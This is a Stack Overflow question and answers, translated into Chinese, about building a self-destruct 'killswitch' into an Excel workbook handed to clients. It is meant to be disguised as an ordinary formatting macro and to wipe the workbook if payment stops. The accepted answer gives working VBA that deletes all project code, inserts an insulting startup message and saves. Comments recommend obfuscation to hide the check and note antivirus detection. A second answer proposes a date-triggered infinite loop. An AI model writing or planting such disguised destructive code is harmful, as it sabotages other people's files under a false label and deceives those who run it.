【问题标题】:Excel VBA Self-Destruct SwitchExcel VBA 自毁开关
【发布时间】:2017-04-29 00:06:59
【问题描述】:

我有过第一次“客户带走我的工作,然后不付钱就给我鬼鬼祟祟”的经历。对于未来,我想加入一个killswitch,伪装成一个普通的宏,这使得整个东西无法使用。这样,即使他们雇用某人来破解密码并删除我的“您的试用期已过期...”检查,看起来正常的宏(类似于“Fix_Sheet_Formatting”)也很容易被忽略并运行,破坏一切并保存变化。

但是,这会留下 VBA...我们在这里谈论的是完全清除,所以一切都必须完成。我会想办法自己做这一切,我只是不想浪费时间去追求不可能的事情:

VBA 代码能否在运行时从工作簿中删除自身,还是必须从另一个工作簿上的宏中删除?删除代码会导致宏停止运行,还是在一切完成后我可以让它删除除讨厌的 MsgBox 之外的所有内容?

【问题讨论】:

  • 是也不是,您可以尝试writing the excel VBA itself 或this one,但是,对于一些中级用户来说,超越它并不难,excel 不是一个可靠的工具来保护您的工作。
  • 看起来挂断将访问 VBProject 对象。这会被防病毒软件捕获并删除模块(我不希望这样,因为他们需要使用它来测试它......否则 killswitch 将被删除)。
  • 抱歉,IMO 这注定了。唯一的“安全”宏是未分发的宏。寻找good code obfuscation tool,以使 VBA 完全不可解密(但仍然有效);这样你就可以有一个简单的布尔 IsDisabled 检查,这是完全不可能从其余代码中分辨出来的。
  • Hm - 一种方法,虽然它很草率,但是以某种方式拉起 VBEditor,并使用 SendKeys 来“CTRL + A,DEL”一切。使用 sendkeys 时,我不小心将焦点放在了 VBA 编辑器上,它把该信息放在了那里,而不是我的目标文档。另外,我很确定 VBA 不是超级安全,所以如果有人足够聪明,他们就能以一种或另一种方式获取您的代码。使用插件怎么样? (我对这些知之甚少,但也许这是一种选择?)

标签: vba excel


【解决方案1】:

我会让 cmets 争论这是否是一个好主意(恕我直言,它可能不是)。至于问题本身,当然可以,而且不会中断宏的执行:

Public Sub Example()
    Dim proj As Object
    Set proj = ThisWorkbook.VBProject
    Dim comp As Object
    For Each comp In proj.VBComponents
        With comp.CodeModule
            .DeleteLines 1, .CountOfLines
            If comp.Name = "ThisWorkbook" Then
                .InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _
                                vbTab & "MsgBox ""Where's my money, @#$%&!?""" & vbCrLf & _
                                "End Sub"
            End If
        End With
    Next
    ThisWorkbook.Save
End Sub

混淆是读者的练习。

【讨论】:

  • 第一次听说混淆。更好的解决方案。
  • @C-Love511 - 更严肃一点(我只是想补充一下MsgBox),您还可以看看运行预汇编代码。
  • @C-Love511 注意:如果没有混淆,此代码将破坏当前正在运行的启用宏的工作簿的一个副本。如果您的用户制作了副本,甚至只是备份了他们的网络文件夹,他们总是可以恢复备份并欺骗您的代码,让您相信试用版仍然有效,直到他们找到破解代码并对其进行调整的方法。经过适当的混淆,他们可以做到这一点并破解代码......只是发现那里没有什么有意义的东西可以看到,并且逆向工程那个的成本比只付钱给你要多为你的工作。
  • Google 搜索没有为“预组装 VBA”甚至“预组装代码”提供任何有意义的信息。这是“混淆”的另一种说法,还是您可以指出更具体的资源?
  • @C-Love511 - 对不起,给了你the wrong search term。
【解决方案2】:

将到期日作为您的付款数据的循环。在内部编写代码以使宏进入无限循环或删除代码。 如果付款按时发生,那么只需在代码上方评论,否则只需等待客户在循环中定义的第二天返回给您。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-01-14
    • 2011-07-02
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-06-27
    • 1970-01-01
    相关资源
    最近更新 更多